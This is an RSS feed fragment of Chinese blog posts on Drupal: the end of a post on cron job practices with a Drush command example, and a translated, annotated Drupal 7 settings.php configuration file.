&lt;h2 id=&#34;第三条-drush-命令&#34;&gt;第三条：Drush 命令。&lt;/h2&gt;

&lt;p&gt;即使你不想使用 Drush 来运行 Cron，也应该创建一个简单的 Drush 命令来运行你的代码。在你的 CRON 过程消耗过高的时候，可以利用前面第一条说的方法禁用这条 CRON 命令，然后做一个系统的 Cron 过程，在恰当的时机来利用 drush 直接运行这段代码。可以根据开销情况，用这种方法来单独调节每个 Cron 任务。这是一种未雨绸缪的措施。&lt;/p&gt;

&lt;p&gt;下面是 &lt;code&gt;example.drush.inc&lt;/code&gt; 文件里的示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_drush_command().
  */
function example_drush_command() {
  return array(
    &#39;example-process-users&#39; =&amp;gt; array(
      &#39;description&#39; =&amp;gt; dt(&#39;Process the user accounts.&#39;),
      &#39;alias&#39; =&amp;gt; array(&#39;epu&#39;),
    ),
  );
}

/**
  * Process user accounts.
  */
function drush_example_example_process_users() {
  module_load_include(&#39;inc&#39;, &#39;example&#39;);
  example_process_users();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;第四条-批处理&#34;&gt;第四条：批处理。&lt;/h2&gt;

&lt;p&gt;在开发之前，不要仅仅想着今天或这个月的处理量，而应该想想一年甚至更大量的情况，确保你的处理效率能够适应数据的增长。&lt;/p&gt;

&lt;p&gt;这意味着，需要在代码重一次处理大批记录，可以用一个变量来指定每次的处理量，或者可以哦能够队列的方式来处理。&lt;/p&gt;

&lt;h2 id=&#34;第五条-我真的需要-cron-么&#34;&gt;第五条：我真的需要 Cron 么？&lt;/h2&gt;

&lt;p&gt;Drupal 的 &lt;code&gt;hook_cron()&lt;/code&gt; 是一个很适合处理简单，常见任务的方式。不过如果你要处理大量数据，或者复杂任务，你应该使用一些更专门的方法，例如 Drupal 7 的 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.queue.inc/group/queue/7&#34; target=&#34;_blank&#34;&gt;Queue System&lt;/a&gt;甚至 Drupal 之外的方案，例如 &lt;a href=&#34;http://jenkins-ci.org/&#34; target=&#34;_blank&#34;&gt;Jenkins CI&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>settings.php汉化</title>
      <link>/post/drupal-settings-translation/</link>
      <pubDate>Thu, 20 Nov 2014 02:10:07 +0800</pubDate>
      <guid>/post/drupal-settings-translation/</guid>
      <description>

&lt;p&gt;&amp;lt;?php&lt;/p&gt;

&lt;p&gt;/**
 * @file
 * Drupal站点配置文件
 *
 * 注意:
 *
 * 这个文件应该会被Drupal安装器设置为只读。
 * 如果对该文件进行编辑，编辑完成后必须重新设置为只读，否则将成为安全隐患。
 *
 * 这个配置文件会依照下面的规则进行载入。
 * 然而如果存在多站点别名文件sites/sites.php，则会被优先载入，
 * $sites中的别名会覆盖缺省的目录规则。
 * 参考sites/example.sites.php获取更多别名相关的内容。
 *
 * 配置目录的获取：
 * 从左到右剥掉站点的主机名
 * 从右向左去掉路径名
 * 找到一个文件名就会忽略其他的配置文件。
 * 如果没找到，则使用缺省的sites/default。
 *
 * 例如一个安装在&lt;a href=&#34;http://www.drupal.org:8080/mysite/test/的站点，&#34; target=&#34;_blank&#34;&gt;http://www.drupal.org:8080/mysite/test/的站点，&lt;/a&gt;
 * 会在下面的目录搜索settings.php文件：
 *
 * - sites/8080.www.drupal.org.mysite.test
 * - sites/www.drupal.org.mysite.test
 * - sites/drupal.org.mysite.test
 * - sites/org.mysite.test
 *
 * - sites/8080.www.drupal.org.mysite
 * - sites/www.drupal.org.mysite
 * - sites/drupal.org.mysite
 * - sites/org.mysite
 *
 * - sites/8080.www.drupal.org
 * - sites/www.drupal.org
 * - sites/drupal.org
 * - sites/org
 *
 * - sites/default
 *
 * 注意如果安装在一个非标准端口号上，这个端口会在前缀中体现，例如
 * &lt;a href=&#34;http://www.drupal.org:8080/mysite/test/&#34; target=&#34;_blank&#34;&gt;http://www.drupal.org:8080/mysite/test/&lt;/a&gt;
 * 可以在
 * sites/8080.www.drupal.org.mysite.test/载入。
 *
 * @see example.sites.php
 * @see conf_path()
 */&lt;/p&gt;

&lt;p&gt;/**
 * 数据库配置:
 *
 * $database数组指定了Drupal正在以及可能使用的数据库连接。
 * Drupal可以在一次请求中连接多个数据库，包括多种不同的数据库。
 *
 * @code
 * array(
 *   &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
 *   &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *   &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *   &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *   &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *   &amp;lsquo;port&amp;rsquo; =&amp;gt; 3306,
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;myprefix_&amp;lsquo;,
 *   &amp;lsquo;collation&amp;rsquo; =&amp;gt; &amp;lsquo;utf8_general_ci&amp;rsquo;,
 * );
 * @endcode
 *
 * &amp;ldquo;driver&amp;rdquo; 属性用于描述该数据库所使用的Drupal数据库驱动。一般来说他的取值等同于数据库类型，例如mysql或者sqlite，当然，也有例外。
 * 其他的属性依赖于驱动。对SQLite来说，必须指定一个Web服务器可访问的数据库文件全名。
 * 其他数据库一般要指定用户名、密码、地址以及数据库名称。
 *
 * 缺省情况下，所有支持事务的数据库类型都会默认打开事务支持，其中包含MySQL。
 * 设置&amp;rsquo;transactions&amp;rsquo;键为FALSE，可以显式的关闭这一特性。
 * 注意MySQL的某些配置，例如MyISAM引擎，是不支持事务的，所以即使开启了事务，也不会生效。
 * 如果事务特性造成了站点崩溃，可以尝试关闭事务开关。
 *
 * 每个database都可以指定多个&amp;rsquo;目标&amp;rsquo;数据库。
 * 一个目标数据库允许Drupal尝试把某些查询发送到不同的数据库，如果失败的话，会回到缺省连接。
 * 这对主从复制结构的数据库很有用，Drupal会在恰当时机尝试连接到从服务器，如果从服务器不可用，则会回退到主服务器。
 *
 * 一般的配置方式如下所示：
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = $info_array;
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;slave&amp;rsquo;][] = $info_array;
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;slave&amp;rsquo;][] = $info_array;
 * $databases[&amp;lsquo;extra&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = $info_array;
 * @endcode
 *
 * 在上面的例子中，$info&lt;em&gt;array是一个上面描述的数组。
 * 第一行用第二维的&amp;rsquo;default&amp;rsquo;设置主服务器为缺省服务器。
 * 第二三行创建了从数据库数组。Drupal会在请求中进行随机选择。
 * 最后一样创建了一个新的名为&amp;rdquo;extra&amp;rdquo;的数据库
 *
 * 如果是单服务器配置，下面的内容就足够了。
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *   &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
 *   &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *   &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *   &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *   &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;main&lt;/em&gt;&amp;rsquo;,
 *   &amp;lsquo;collation&amp;rsquo; =&amp;gt; &amp;lsquo;utf8_general&lt;em&gt;ci&amp;rsquo;,
 * );
 * @endcode
 *
 * 可以利用&amp;rdquo;prefix&amp;rdquo;为部分或全部数据表设置前缀。
 * 如果prefix有值，数据表名称会在前面加上这个前缀。
 * 所以prefix必须是mysql允许的字符构成，一般就是数字、字母和下划线。
 * 如果不指定前缀，则赋值为“”。
 *
 * 要让所有的数据库名字具有同一个前缀，设置&amp;rdquo;prefix&amp;rdquo;为字符串：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;main&lt;/em&gt;&amp;rsquo;,
 * @endcode
 *
 * 要让特定表使用特定前缀，可以将&amp;rdquo;prefix&amp;rdquo;赋值为数组。
 * 数组的键为表名，值为前缀。
 * &amp;lsquo;default&amp;rsquo;是必须的，代表所有未特别制定前缀的其他表的前缀。
 * 例如：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;default&amp;rsquo;   =&amp;gt; &amp;lsquo;main&lt;em&gt;&amp;rsquo;,
 *     &amp;lsquo;users&amp;rsquo;     =&amp;gt; &amp;lsquo;shared&lt;/em&gt;&amp;rsquo;,
 *     &amp;lsquo;sessions&amp;rsquo;  =&amp;gt; &amp;lsquo;shared&lt;em&gt;&amp;rsquo;,
 *     &amp;lsquo;role&amp;rsquo;      =&amp;gt; &amp;lsquo;shared&lt;/em&gt;&amp;rsquo;,
 *     &amp;lsquo;authmap&amp;rsquo;   =&amp;gt; &amp;lsquo;shared_&amp;lsquo;,
 *   ),
 * @endcode
 *
 * 还可以使用schema/database作为前缀。
 * 如果Drupal使用用了非缺省的数据库，或者用户需要同时访问几个database，这种配置就很有用了。
 * 例如：
 *
 * @code
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;default&amp;rsquo;   =&amp;gt; &amp;lsquo;main.&amp;rsquo;,
 *     &amp;lsquo;users&amp;rsquo;     =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;sessions&amp;rsquo;  =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;role&amp;rsquo;      =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *     &amp;lsquo;authmap&amp;rsquo;   =&amp;gt; &amp;lsquo;shared.&amp;rsquo;,
 *   );
 * @endcode
 *
 * 注意：MySQL和SQLite的定义中，Schema就是一个数据库。
 *
 * 高级用户可以像PDO连接设置那样，添加或覆盖连接到数据库服务器时执行的命令。
 * 例如，增大MySQL的max_join_size这一系统变量，并把超时时间降低到5秒钟：
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *   &amp;lsquo;init_commands&amp;rsquo; =&amp;gt; array(
 *     &amp;lsquo;big_selects&amp;rsquo; =&amp;gt; &amp;lsquo;SET SQL_BIG_SELECTS=1&amp;rsquo;,
 *   ),
 *   &amp;lsquo;pdo&amp;rsquo; =&amp;gt; array(
 *     PDO::ATTR_TIMEOUT =&amp;gt; 5,
 *   ),
 * );
 * @endcode
 *
 * 警告：缺省值都是为保障数据库的通用性设置的。
 * 修改缺省值可能会导致不期望的结果，甚至引起数据丢失。
 *
 * @see DatabaseConnection_mysql::&lt;strong&gt;construct
 * @see DatabaseConnection_pgsql::&lt;/strong&gt;construct
 * @see DatabaseConnection_sqlite::__construct
 *
 * 数据库配置格式:
 *
 * @code
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *     &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *     &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *     &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *     &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;ldquo;,
 *   );
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;pgsql&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *     &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *     &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *     &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *     &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;ldquo;,
 *   );
 *   $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *     &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;sqlite&amp;rsquo;,
 *     &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;/path/to/databasefilename&amp;rsquo;,
 *   );
 * @endcode
 */
$databases = array();&lt;/p&gt;

&lt;p&gt;/**
 * update.php的访问限制
 *
 * 如果你没有登录，或者登录账号并非初始的管理员，也不具备“管理软件更新”的权限。
 * 在这种情况下要更新系统，就需要修改下面的语句。
 * 把FALSE改为TRUE就可以禁用访问限制。
 * 在更新完成之后，需要确认把TRUE改回FALSE。
 *
 */
$update_free_access = FALSE;&lt;/p&gt;

&lt;p&gt;/**
 *
 * 用于一次性登录以及取消的连接，form token等的SALT
 *
 * 这一变量会在系统安装时被初始化为一个随机值。
 * 如果这个值发生变化，则所有一次性登录连接都会失效。
 * 如果站点被部署到集群环境下，务必保证各个服务器的这一变量完全一致。
 * 如果这个值为空，则会使用数据库登录凭证的序列化结果作为缺省值。
 *
 * 为了增强安全性，可以从一个Drupal目录之外的文件来读取这个配置，
 * 这一文件的保存也应该同Drupal和数据库的备份分开。
 *
 * 例如：
 *      $drupal_hash_salt = file_get_contents(&amp;lsquo;/home/example/salt.txt&amp;rsquo;);
 *
 */
$drupal_hash_salt = &amp;ldquo;;&lt;/p&gt;

&lt;p&gt;/**
 * Base URL (可选).
 *
 * 如果Drupal在你的站点上生成了错误的网址，例如HTML头部的CSS/JS文件，或者页面菜单的连接。
 * 可以启用这一选项，取值为Drupal安装URL。
 *
 * 你可能还想强制用户使用一个指定的域。
 * 可以在.htaccess文件来获取更多信息
 *
 * 例如:
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com:8888&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com:8888&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com/drupal&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com/drupal&#39;&lt;/a&gt;;
 *   $base_url = &amp;lsquo;&lt;a href=&#34;https://www.example.com:8888/drupal&#39;&#34; target=&#34;_blank&#34;&gt;https://www.example.com:8888/drupal&#39;&lt;/a&gt;;
 *
 * 不要在末尾加入斜线，Drupal会自动添加。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;base-url-http-www-example-com-no-trailing-slash&#34;&gt;$base_url = &amp;lsquo;&lt;a href=&#34;http://www.example.com&#39;&#34; target=&#34;_blank&#34;&gt;http://www.example.com&#39;&lt;/a&gt;;  // NO trailing slash!&lt;/h1&gt;

&lt;p&gt;/**
 * PHP设置:
 *
 * 这里允许设置的范围，包括这些内容是否可以在运行时进行设置，请阅读PHP文档：
 * &lt;a href=&#34;http://www.php.net/manual/ini.list.php&#34; target=&#34;_blank&#34;&gt;http://www.php.net/manual/ini.list.php&lt;/a&gt;
 * 参考include/bootstrap.inc中的drupal_environment_initialize()，这里规定了必须进行设置的内容。
 * .htaccess文件中包含了非运行时的设置内容。
 * 这里的设置不要重复，以免发生冲突。
 *
 */&lt;/p&gt;

&lt;p&gt;/**
 *
 * 有些Linux发行版（比如Debian）会禁用PHP的垃圾搜集(gc)。
 * 而Drupal需要垃圾收集特性用于Session清理，所以这里需要特别设置。
 *
 */
ini_set(&amp;lsquo;session.gc_probability&amp;rsquo;, 1);
ini_set(&amp;lsquo;session.gc_divisor&amp;rsquo;, 100);&lt;/p&gt;

&lt;p&gt;/**
 *
 * Session的存活期，单位是秒。
 * 用户最后一次访问活动会话的后，到Session被垃圾收集删除的时间。
 * 当Session被删除，用户会被登出，用户的$_SESSION中保存的内容也会被废弃。
 *
 */
ini_set(&amp;lsquo;session.gc_maxlifetime&amp;rsquo;, 200000);&lt;/p&gt;

&lt;p&gt;/**
 * Cooke存活期，单位是秒。
 * 也就是Session的创建到Cookie过期的时间段，也就是浏览器丢弃Cookie的时间。
 * 如果设置为“0”，则代表“直到浏览器关闭”。
 */
ini_set(&amp;lsquo;session.cookie_lifetime&amp;rsquo;, 2000000);&lt;/p&gt;

&lt;p&gt;/**
 *
 * 如果存在如下情况：
 * 用户发布了大文本，结果展示的内容被截断，但是仍然可以编辑。
 * 这可能是因为Drupal的输出过滤器运行内存不足无法处理。
 *
 * 遇到这种情况，可以考虑启用下面两行代码，增大这两个变量的值，更多信息可参考：
 * &lt;a href=&#34;http://php.net/manual/pcre.configuration.php&#34; target=&#34;_blank&#34;&gt;http://php.net/manual/pcre.configuration.php&lt;/a&gt;.
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;ini-set-pcre-backtrack-limit-200000&#34;&gt;ini_set(&amp;lsquo;pcre.backtrack_limit&amp;rsquo;, 200000);&lt;/h1&gt;

&lt;h1 id=&#34;ini-set-pcre-recursion-limit-200000&#34;&gt;ini_set(&amp;lsquo;pcre.recursion_limit&amp;rsquo;, 200000);&lt;/h1&gt;

&lt;p&gt;/**
 *
 * Drupal自动为站点生成一个基于完整域名的唯一的Session Cookie名。
 * 如果你有多个域名指向同一个Drupal站点，
 * 你可以把所有访问重定向到单独的一个域名（参见.htaccess中的注释）；
 * 或者启用下面的行，指定他们共享的父域名。
 * 这样可以保障用户登录的Session能在各个域中都有效。
 * 遵循RFC 2109的规定，取值必须以“.”开头。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;cookie-domain-example-com&#34;&gt;$cookie_domain = &amp;lsquo;.example.com&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 变量覆盖:
 *
 * 这一段可以用来覆盖变量表中的内容。
 * 这个特性很少用到。
 * 对于vhost或者目录来说这个配置比较有用。
 * 变量表中的所有内容都可以在这里设置为新的值。
 * 另外，这里指定的变量值，在管理界面的修改是无效的。
 *
 * 例如：
 * - site_name: 缺省的站点名称。
 * - theme_default: 该站点的缺省主题。
 * - anonymous: 匿名用户的可读名称。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-site-name-my-drupal-site&#34;&gt;$conf[&amp;lsquo;site_name&amp;rsquo;] = &amp;lsquo;My Drupal site&amp;rsquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-theme-default-garland&#34;&gt;$conf[&amp;lsquo;theme_default&amp;rsquo;] = &amp;lsquo;garland&amp;rsquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-anonymous-visitor&#34;&gt;$conf[&amp;lsquo;anonymous&amp;rsquo;] = &amp;lsquo;Visitor&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 *
 * 可以为离线页面设置一个主题。
 * 当站点被设置为维护模式，或者数据库离线时，这个配置就有用了。
 * 模板文件必须拷贝到主题中。名称为&amp;rsquo;modules/system/maintenance-page.tpl.php&amp;rsquo;。
 * 注意：这一设置对更新和安装不起作用。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-maintenance-theme-bartik&#34;&gt;$conf[&amp;lsquo;maintenance_theme&amp;rsquo;] = &amp;lsquo;bartik&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 反向代理配置:
 * 反向代理服务器经常用于增强大负载网站的性能，同时提供额外的站点缓存、安全等好处。
 * 如果Drupal部署反向代理服务器之后，Drupal的日志、统计以及访问控制系统都需要获取真实的用户IP。
 * 通常反向代理服务器会在请求中添加X-Forwarded-For头，用于传递客户IP地址。
 * 然而，HTTP头对于客户端欺诈来说是很脆弱的，有些客户端能够直接生成这个Header信息。
 * 所以，Drupal需要在$conf[&amp;lsquo;reverse_proxy_address&amp;rsquo;]中设置所有的代理服务器地址。
 *
 * 激活这个设置让Drupal可以从X-Forwarded-For头中获取用户的IP地址。
 * 这个Header的名字也可以通过$conf[&amp;lsquo;reverse_proxy_header&amp;rsquo;]修改为其他名称。
 * 如果你不确定是否使用了反向代理，不知道这个选项的含义，或者站点托管在共享主机上，就不必设置。
 *
 * 启用这个配置，就必须把每个反向代理服务器的地址都保存在$conf[&amp;lsquo;reverse_proxy_addresses&amp;rsquo;]中。
 * 如果你的环境中无法获取一个完整的反向代理服务器列表（例如CDN）。可以在settings.php中直接设置$_SERVER[&amp;lsquo;REMOTE_ADDR&amp;rsquo;]。
 * 这意味着可能发生IP伪造。
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-true&#34;&gt;$conf[&amp;lsquo;reverse_proxy&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * 如果$conf[&amp;lsquo;reverse_proxy&amp;rsquo;]设置为TRUE，这里必须列出所有的代理服务器
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-addresses-array-a-b-c-d&#34;&gt;$conf[&amp;lsquo;reverse_proxy_addresses&amp;rsquo;] = array(&amp;lsquo;a.b.c.d&amp;rsquo;, &amp;hellip;);&lt;/h1&gt;

&lt;p&gt;/**
 * 如果你用于传递IP的HTTP头不是X-Forwarded-For，则需要在这里进行设置。
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-reverse-proxy-header-http-x-cluster-client-ip&#34;&gt;$conf[&amp;lsquo;reverse_proxy_header&amp;rsquo;] = &amp;lsquo;HTTP_X_CLUSTER_CLIENT_IP&amp;rsquo;;&lt;/h1&gt;

&lt;p&gt;/**
 * 页面缓存:
 *
 * 缺省情况下，Drupal会为匿名用户的访问发送一个“Vary: Cookie”的HTTP头。
 * 这会指示HTTP代理服务器，如果用户在访问一个被缓存页面时，如果他发送了同最初访问缓存页面的用户同样的Cookie头，
 * 可以无需联系Web服务器，直接从本地缓存中返回一个页面。
 * 如果没有“Vary Cookie”，登录用户也会以同样的方式从缓存中获取页面。
 * 如果站点绝大多数用户都是匿名用户，极少有编辑和管理活动，这个Vary头可以省略。
 * 这对HTTP代理服务器的缓存有很好的帮助（也包括反向代理），
 * 也就是说，开启这一配置，即使用户发送了不同的Cookie，仍然会从代理服务器缓存中获取内容。
 * 然而这样的话，登录用户应该直接访问服务器（也就是说不通过代理和反向代理服务器），以防从缓存中获取不恰当的内容。。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-omit-vary-cookie-true&#34;&gt;$conf[&amp;lsquo;omit_vary_cookie&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * CSS/JS 聚合文件压缩:
 *
 * 缺省情况下，当CSS和JS聚合以及简洁连接被启用的时候，Drupal会保存gzip压缩的聚合文件。
 * 如果这个文件可用，则.htaccess中的rewrite规则会把这个文件传送给支持gzip压缩内容的浏览器。
 * 这使得用户能够更快的载入页面，并降低服务器压力。
 * 如果你用的不是Apache，或者前端部署了具备缓存和压缩能力的反向代理服务器，可能就要启用下面两行代码，
 * 阻止保存gzip文件。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-css-gzip-compression-false&#34;&gt;$conf[&amp;lsquo;css_gzip_compression&amp;rsquo;] = FALSE;&lt;/h1&gt;

&lt;h1 id=&#34;conf-js-gzip-compression-false&#34;&gt;$conf[&amp;lsquo;js_gzip_compression&amp;rsquo;] = FALSE;&lt;/h1&gt;

&lt;p&gt;/**
 * 块缓存:
 *
 * 实现Block的模块会指定该Block的缓存策略，可能导致块缓存同node access并不兼容。
 * 缺省情况下，Drupal会在一个或者更多模块实现了hook_node_grants()的情况下，禁用块缓存。
 * 如果认为块缓存很安全，希望跳过这个限制，启用下面这行代码。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-block-cache-bypass-node-grants-true&#34;&gt;$conf[&amp;lsquo;block_cache_bypass_node_grants&amp;rsquo;] = TRUE;&lt;/h1&gt;

&lt;p&gt;/**
 * 字符串覆盖:
 * 不管站点是否启用了Locale模块，都可以在这里覆盖指定的字符串。
 * 这个功能让用户可以改变少量的缺省英文界面字符串。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-locale-custom-strings-en-array&#34;&gt;$conf[&amp;lsquo;locale_custom_strings_en&amp;rsquo;][&amp;ldquo;] = array(&lt;/h1&gt;

&lt;h1 id=&#34;forum-discussion-board&#34;&gt;&amp;lsquo;forum&amp;rsquo;      =&amp;gt; &amp;lsquo;Discussion board&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;count-min-count-minutes&#34;&gt;&amp;rsquo;@count min&amp;rsquo; =&amp;gt; &amp;lsquo;@count minutes&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;toc_18&#34;&gt;);&lt;/h1&gt;

&lt;p&gt;/**
 *
 * IP屏蔽:
 * 使用这个设置，可以跨过数据库中对屏蔽IP地址的查询。
 * 缺省情况下，Drupal在每次页面请求的过程中，不管是登录还是未登录用户，都会查询{blocked_ips}表。
 * 这个表让管理员可以通过管理界面管理IP地址的屏蔽，并且在所有模块载入之前生效。
 * 然而在重负载的网站中，你可能想声调这一步，这个配置允许你在某些缓存配置下，对匿名用户跳过数据库访问。
 *
 * 如果使用这一设置，需要把所有要屏蔽的IP地址加入到这里。数组的每一项都是一个IP。
 *
 * 如果给这个配置赋值为空数组，则代表着禁用IP屏蔽功能。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-blocked-ips-array&#34;&gt;$conf[&amp;lsquo;blocked_ips&amp;rsquo;] = array(&lt;/h1&gt;

&lt;h1 id=&#34;a-b-c-d&#34;&gt;&amp;lsquo;a.b.c.d&amp;rsquo;,&lt;/h1&gt;

&lt;h1 id=&#34;toc_21&#34;&gt;);&lt;/h1&gt;

&lt;p&gt;/**
 * 快速404页面:
 *
 * Drupal能够生成完整主题渲染的404页面。然而，这类相应中的一些图片或者其他资源可能没必要显示给用户。
 * 这造成了对带宽和服务器负载的浪费。
 *
 * 下面的选项，在URL符合下面模式的情况下，生成一个简单的快速的404页面：
 * - 404_fast_paths_exclude: 一个用于描述排除某些路径的正则表达式，例如image styles生成、或者动态大小的图片。
 *  如要添加更多排除项目，可以添加“|path”到表达式中。
 * - 404_fast_paths: 正则表达式，符合这一模式的URL将直接返回快速的简单的404页面，而不是主题渲染的页面。
 *  如果不存在任何&amp;rsquo;htm&amp;rsquo;或者&amp;rsquo;html&amp;rsquo;的别名，可以在表达式中添加“|s?html?”。
 * - 404_fast_html: 404页面的HTML内容。
 *
 */
$conf[&amp;lsquo;404_fast_paths_exclude&amp;rsquo;] = &amp;lsquo;//(?:styles)//&amp;lsquo;;
$conf[&amp;lsquo;404_fast_paths&amp;rsquo;] = &amp;lsquo;/.(?:txt|png|gif|jpe?g|css|js|ico|swf|flv|cgi|bat|pl|dll|exe|asp)$/i&amp;rsquo;;
$conf[&amp;lsquo;404_fast_html&amp;rsquo;] = &amp;lsquo;&amp;lt;!DOCTYPE html PUBLIC &amp;ldquo;-//W3C//DTD XHTML+RDFa 1.0//EN&amp;rdquo; &amp;ldquo;&lt;a href=&#34;http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd&amp;quot;&amp;gt;&#34; target=&#34;_blank&#34;&gt;http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd&amp;quot;&amp;gt;&lt;/a&gt;&lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&gt;&lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;Not Found&lt;/h1&gt;&lt;p&gt;The requested URL &amp;ldquo;@path&amp;rdquo; was not found on this server.&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;&amp;rsquo;;&lt;/p&gt;

&lt;p&gt;/**
 *
 * 缺省情况下，页面请求在访问一个不存在的文件，
 * 而且网址符合&amp;rsquo;404_fast_paths&amp;rsquo;的条件，而且不在&amp;rsquo;404_fast_paths_exclude&amp;rsquo;的范围中的场景中，
 * 会返回一个快速的404页面。同时404错误也会被记录到Drupal日志系统中。
 *
 * 启用下面的语句，让你可以更早的（在settings刚载入时）返回404页面。这会降低404情况下的服务器负载，
 * 并且不记录错误到日志中去。
 * 为了防止有效的页面例如image style和其他生成内容返回404，必须把他们加入到&amp;rsquo;404_fast_paths_exclude&amp;rsquo;中。
 * 在启用这个项目之前，务必确认对这个功能有了真正的了解。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;drupal-fast-404&#34;&gt;drupal_fast_404();&lt;/h1&gt;

&lt;p&gt;/**
 * 外部代理服务器设置:
 *
 * 如果你的服务器必须通过Web服务器访问外部网络，则可以在这里输入代理服务器配置。
 * 目前这里仅支持基于用户名和密码的基础验证。
 * 如果代理服务器不对User-Agent头进行限制，proxy_user_agent可以设置为NULL。
 * proxy_exceptions用于设置无需代理可以直接访问的站点。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-proxy-server&#34;&gt;$conf[&amp;lsquo;proxy_server&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

